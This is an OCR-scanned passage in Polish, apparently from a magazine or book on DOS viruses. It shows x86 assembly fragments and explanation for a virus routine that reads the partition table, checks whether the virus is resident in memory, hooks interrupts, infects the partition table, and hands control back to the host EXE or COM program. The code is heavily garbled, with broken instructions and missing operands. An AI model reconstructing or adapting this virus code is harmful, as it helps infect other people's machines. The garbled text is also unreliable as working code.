59
mov ax,Q2Qlh
int 13h ; wezytanie oryginalnej tablicy partycji
; pod adres 0:7000
cali instalowanie_prserwaiiia_lch ; Pierwsza cze&c
; instalacji wirusa
cali iu& talowanić_jprserwania_12ti , w systemie operacyjnym
retf i przekazanie sterowania do oryginalnej
; procedury lądującej system
Procedura przechwytująca uruchamianie się plików typu EXE (lub innych programów z ptików z nagłówkami} składa się zasadniczo z trzech etapów:
— prawdzenie, czy wirus jest już w pamięci
— jeśli nie, to zainstalowanie go do pamięci
— oddanie sterowania do właściwego programu, poprzez skok do oryginalnego punktu startu programu, zapamiętanego przez procedurę zarażajacą plik.
W plikach z programami w postaci absolutnej (.COM) pomiędzy drugim a trzecim m etapem wirus musi przywrócić oryginalny początek programu (patrz opis zarażania pliku typu COM)
Przykładowa procedura przechwytująca uruchamianie pflku typu EXE może wyglądać w następujący sposób:
ip_start dw (?) ; oryginalny punkt startu programu
; zapamiętany przez
cs_start dw (?) ; procedurę zarazajaca plik
start pliku exe:
mov ax,hasło
emp ax/ odzew ; sprawdzenie czy wirus jest juz w systemie
je wlasciwy_start_pliku
xor ax,ax
mov es,ax
int 12h
mov cl,6 ; ponowne sprawdzenie, czy wirus jest juz
shl ax,cl ; w systemie* Jeśli tak, to segment pro~
emp es;4ah,ax ; cedury obsługi przerwania 12H
;(wektor 0:4AH) jest
je wlasciwy_.start_pliku ; równy rozmiarowi pamięci.
cali przechwyćenie_przerwań ; instalacja wirusa w ^LISTING
cali zarazenie_tablicy_partycji ; pamięci i zarażenie
? tablicy partycji,
wlasciwy_s tar t_p liku: mov cx,cs
mov
mov
mov
pop
pop
mov
add
add
push
push
cx
cs_start
i p__Rhsrh
; Przywrócenie oryginalnych zawartości ; rejestrów DS i ES
oba te rejestry wskazują na segment PSP programu
W rejestrze AX znajduje sie segment punktu startu programu jest on liczony według wzoru segment_PSP + 10H (na PSP) +
+ cs„start, gdzie cs start jest to wartość przesunięcia
conmpnfni PC? - — — - — ^ ■
ds
cx
lOh
retf
skok do oryginalnego punktu startu programu